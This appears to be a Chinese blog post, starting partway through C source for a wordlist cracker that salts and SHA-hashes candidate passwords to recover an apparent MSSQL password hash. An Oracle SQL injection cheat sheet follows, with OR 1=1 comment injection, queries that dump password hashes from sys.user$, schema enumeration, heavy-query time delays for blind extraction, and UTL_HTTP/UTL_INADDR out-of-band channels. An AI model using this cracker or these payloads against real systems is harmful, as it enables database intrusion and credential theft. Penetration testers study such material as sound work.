        char pnorm[44]="";
        char pucase[44]="";
        char pucfirst[8]="";
        char wttf[44]="";
        char uwttf[100]="";
        char *wp=NULL;
        char *ptr=NULL;
        int cnt = 0;
        int count = 0;
        unsigned int key=0;
        unsigned int t=0;
        unsigned int address = 0;
        unsigned char cmp=0;
        unsigned char x=0;
        HCRYPTPROV hProv=0;
        HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
          {
                  return printf("\nThe password hash is too short!\n");
          }
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
          {
                  hash = hash + 2;
                  strncpy(pheader,hash,4);
                  printf("\nHeader\t\t: %s",pheader);
                  if(strlen(pheader)!=4)
                            return printf("%s",lerr);
                  hash = hash + 4;
                  strncpy(pkey,hash,8);
                  printf("\nRand key\t: %s",pkey);
                  if(strlen(pkey)!=8)
                            return printf("%s",lerr);
                  hash = hash + 8;
                  strncpy(pnorm,hash,40);
                  printf("\nNormal\t\t: %s",pnorm);
                  if(strlen(pnorm)!=40)
                            return printf("%s",lerr);
                  hash = hash + 40;
                  strncpy(pucase,hash,40);
                  printf("\nUpper Case\t: %s",pucase);
                  if(strlen(pucase)!=40)
                            return printf("%s",lerr);
                  strncpy(pucfirst,pucase,2);
                  sscanf(pucfirst,"%x",&cmp);
          }
else
          {
                  return printf("The password hash has an invalid format!\n");
          }
printf("\n\n       Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                 ,0))
  {
          if(GetLastError()==NTE_BAD_KEYSET)
                  {
                            // KeySet does not exist. So create a new keyset
                            if(!CryptAcquireContext(&hProv,
                                                 NULL,
                                                 NULL,
                                                 PROV_RSA_FULL,
                                                 CRYPT_NEWKEYSET ))
                               {
                                        printf("FAILLLLLLL!!!");
                                        return FALSE;
                               }
           }
}
while(1)
         {
           // get a word to try from the file
           ZeroMemory(wttf,44);
           if(!fgets(wttf,40,fd))
              return printf("\nEnd of password file. Didn't find the password.\n");
           wd++;
           len = strlen(wttf);
           wttf[len-1]=0x00;
           ZeroMemory(uwttf,84);
           // Convert the word to UNICODE
           while(count < len)
                     {
                               uwttf[cnt]=wttf[count];
                               cnt++;
                               uwttf[cnt]=0x00;
                               count++;
                               cnt++;
                     }
           len --;
           wp = &uwttf;
           sscanf(pkey,"%x",&key);
           cnt = cnt - 2;
           // Append the random stuff to the end of
           // the uppercase unicode password
           t = key >> 24;
           x = (unsigned char) t;
           uwttf[cnt]=x;
           cnt++;
           t = key << 8;
           t = t >> 24;
         x = (unsigned char) t;
         uwttf[cnt]=x;
         cnt++;
         t = key << 16;
         t = t >> 24;
         x = (unsigned char) t;
         uwttf[cnt]=x;
         cnt++;
         t = key << 24;
         t = t >> 24;
         x = (unsigned char) t;
         uwttf[cnt]=x;
         cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
         {
                   printf("Error %x during CryptCreatHash!\n", GetLastError());
                   return 0;
         }
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
         {
                   printf("Error %x during CryptHashData!\n", GetLastError());
                   return FALSE;
         }
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
         {
                   // If first byte matches try the rest
                   ptr = pucase;
                   cnt = 1;
                   while(cnt < 20)
                   {
                               ptr = ptr + 2;
                               strncpy(pucfirst,ptr,2);
                               sscanf(pucfirst,"%x",&cmp);
                               if(szhash[cnt]==cmp)
                                        cnt ++;
                               else
                               {
                                        break;
                               }
                   }
                   if(cnt == 20)
                   {
                        // We've found the password
                        printf("\nA MATCH!!! Password is %s\n",wttf);
                        return 0;
                     }
             }
             count = 0;
             cnt=0;
           }
  return 0;
}
                
View Code

Oracle

  默认数据库

SYSTEM Available in all versions
SYSAUX Available in all versions

  注释

    注入后,以下内容可用于注释掉查询的其余部分:

-- SQL comment


例子:

      • SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';

测试版本

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;

笔记:

    • Oracle中的所有SELECT语句都必须包含一个表。
    • dual 是一个可用于测试的虚拟表。

数据库凭据

SELECT username FROM all_users; Available on all versions
SELECT name, password from sys.user$; Privileged, <= 10g
SELECT name, spare4 from sys.user$; Privileged, <= 11g

  数据库名称

    当前数据库

SELECT name FROM v$database;
SELECT instance_name FROM v$instance
SELECT global_name FROM global_name
SELECT SYS.DATABASE_NAME FROM DUAL

    用户数据库

SELECT DISTINCT owner FROM all_tables;

    服务器主机名

SELECT host_name FROM v$instance; (Privileged)
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
SELECT UTL_INADDR.get_host_address FROM dual;

    表和列

     检索表

SELECT table_name FROM all_tables;

     检索列

SELECT column_name FROM all_tab_columns;

     从列名称中查找表

SELECT column_name FROM all_tab_columns WHERE table_name = 'Users';

     从表名称中查找列

SELECT table_name FROM all_tab_tables WHERE column_name = 'password';

     一次检索多个表

SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM all_tables;

避免引用

与其他RDBMS不同,Oracle允许对表/列名进行编码。

SELECT 0x09120911091 FROM dual; Hex Encoding.
SELECT CHR(32)||CHR(92)||CHR(93) FROM dual; CHR() Function.

    字符串连接

SELECT 'a'||'d'||'mi'||'n' FROM dual;

    条件陈述

SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual

   定时

    时间延迟

SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual;

    繁重的时间延迟

AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));

    特权

SELECT privilege FROM session_privs;
SELECT grantee, granted_role FROM dba_role_privs; (Privileged)

   通道

DNS请求

SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual;
SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual;

    密码破解

可以在此处找到JTR的Metasploit模块

   

posted @ 2018-12-07 20:58  TiAmo-ing  阅读(352)  评论(0编辑  收藏  举报